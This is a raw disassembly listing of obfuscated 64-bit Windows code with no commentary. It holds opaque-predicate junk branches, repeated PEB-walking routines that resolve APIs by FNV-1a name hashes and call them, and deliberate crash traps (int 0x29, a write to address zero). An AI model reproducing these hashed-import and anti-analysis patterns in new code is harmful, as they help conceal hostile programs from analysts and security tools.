movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401250d7
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401250d7
mov r10d, r13d
jmp 0x140125171
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012516c
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
jmp 0x140125171
mov r10d, dword [rsp + 0x20]
call fcn.140167c78
movsx r9d, al
call fcn.140167c74
movsx ecx, al
imul r9d, ecx
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x140125d88
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
call fcn.140167c84
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012539c
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x141716b05]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401252b6
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401252b6
mov r10d, r13d
jmp 0x140125350
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012534b
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
jmp 0x140125350
mov r10d, dword [rsp + 0x20]
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x14012539c
call fcn.140167c8c
mov rdx, qword [0x1417184d0]
test rdx, rdx
jne 0x1401254fb
mov edi, r12d
mov esi, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, r15w
test edi, edi
je 0x140125413
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140125406
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401253f7
cmp edx, edi
jne 0x1401254dc
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401254dc
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401254dc
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140125465
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14012545a
cmp edx, esi
je 0x140125479
test ebx, ebx
jne 0x140125446
jmp 0x1401254d6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401254f4
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401254f4
mov edi, 0x811c9dc5
mov esi, edi
jmp 0x1401254b7
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401254a9
jmp 0x1401254ca
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401254bf
mov r11, qword [r14]
mov r15d, 8
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x1401254f1
cmp qword [rax + 0x30], r12
jne 0x1401253cb
mov rdx, r12
mov qword [0x1417184d0], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x141718608]
test rbx, rbx
jne 0x14012565d
mov edi, r12d
mov esi, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140125579
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012556c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012555d
cmp edx, edi
jne 0x14012563e
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012563e
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012563e
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401255cb
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401255c0
cmp edx, esi
je 0x1401255df
test ebx, ebx
jne 0x1401255ac
jmp 0x14012563e
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140125656
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140125656
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012561f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140125611
jmp 0x140125632
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
test al, al
jne 0x140125627
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140125653
cmp qword [rax + 0x30], r12
jne 0x140125531
mov rbx, r12
mov qword [0x141718608], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x141718600]
test rdx, rdx
jne 0x1401257c5
mov edi, r12d
mov esi, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1401256e1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401256d4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401256c5
cmp edx, edi
jne 0x1401257a6
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401257a6
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401257a6
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140125733
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140125728
cmp edx, esi
je 0x140125747
test ebx, ebx
jne 0x140125714
jmp 0x1401257a6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401257be
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401257be
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140125787
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140125779
jmp 0x14012579a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14012578f
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x1401257bb
cmp qword [rax + 0x30], r12
jne 0x140125699
mov rdx, r12
mov qword [0x141718600], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f8]
test rdx, rdx
jne 0x140125924
mov edi, r12d
mov esi, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140125840
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140125833
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140125824
cmp edx, edi
jne 0x140125905
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140125905
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140125905
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140125892
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140125887
cmp edx, esi
je 0x1401258a6
test ebx, ebx
jne 0x140125873
jmp 0x140125905
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012591d
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14012591d
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1401258e6
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401258d8
jmp 0x1401258f9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401258ee
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x14012591a
cmp qword [rax + 0x30], r12
jne 0x1401257f8
mov rdx, r12
mov qword [0x1417185f8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f0]
test rdx, rdx
jne 0x140125a83
mov edi, r12d
mov esi, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012599f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140125992
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140125983
cmp edx, edi
jne 0x140125a64
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140125a64
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140125a64
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401259f1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401259e6
cmp edx, esi
je 0x140125a05
test ebx, ebx
jne 0x1401259d2
jmp 0x140125a64
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140125a7c
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140125a7c
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140125a45
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140125a37
jmp 0x140125a58
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140125a4d
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140125a79
cmp qword [rax + 0x30], r12
jne 0x140125957
mov rdx, r12
mov qword [0x1417185f0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1417185e8], r12
jne 0x140125be1
mov edi, r12d
mov esi, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r9, r14
movups xmm0, xmmword [r9 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140125afb
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140125aee
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140125adf
cmp edx, edi
jne 0x140125bc2
mov r10, qword [r9 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140125bc2
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140125bc2
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140125b4d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140125b42
cmp edx, esi
je 0x140125b61
test ebx, ebx
jne 0x140125b2e
jmp 0x140125bc2
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140125bda
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140125bda
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140125ba1
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
cmp al, 0x2e
jne 0x140125b93
jmp 0x140125bb5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
test al, al
jne 0x140125baa
mov r9, qword [r14]
mov rax, qword [r9]
mov r9, rax
cmp rax, r14
je 0x140125bd7
cmp qword [rax + 0x30], r12
jne 0x140125ab3
mov r9, r12
mov qword [0x1417185e8], r9
xor ecx, ecx
int 0x29
mov r9d, r12d
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
imul esi, edx, 7
call fcn.140167c84
movsx ecx, al
add esi, ecx
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*8]
call fcn.140167c84
movsx ecx, al
add ebx, ecx
call fcn.140167c74
movsx r11d, al
call fcn.140167c78
movsx ecx, al
imul r11d, ecx
call fcn.140167c84
movsx edi, al
mov r10d, dword [rsp + 0x20]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140125cf6
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140125cf6
mov r10d, r13d
jmp 0x140125d4d
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140125d4d
lea ecx, [r11 + rdi]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r11*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x140125d7c
mov rax, r13
mov qword [rsp + 0x20], rax
mov rcx, r13
mov qword [rsp + rcx*8 + 0x20], rax
mov rax, qword [rsp + 0x20]
add rax, r13
mov rcx, rax
mov qword [rsp + 0x20], rax
jne 0x140125d5d
add r9d, r13d
jmp 0x140125c4a
mov qword [0], 0x99
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126b39
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r12
cmp byte [0x141716b03], r12b
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140125e8e
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140125e8e
mov r9d, r13d
jmp 0x140125f28
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140125f23
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r9d, xmm0
jmp 0x140125f28
mov r9d, dword [rsp + 0x20]
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
call fcn.140167c84
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140126b39
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
call fcn.140167c84
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126151
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x141716b05]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012606b
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012606b
mov r10d, r13d
jmp 0x140126105
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126100
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
jmp 0x140126105
mov r10d, dword [rsp + 0x20]
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x140126151
call fcn.140167c8c
mov rdx, qword [0x1417184d0]
test rdx, rdx
jne 0x1401262ac
mov edi, r12d
mov esi, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1401261c8
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401261bb
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401261ac
cmp edx, edi
jne 0x14012628d
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012628d
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012628d
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012621a
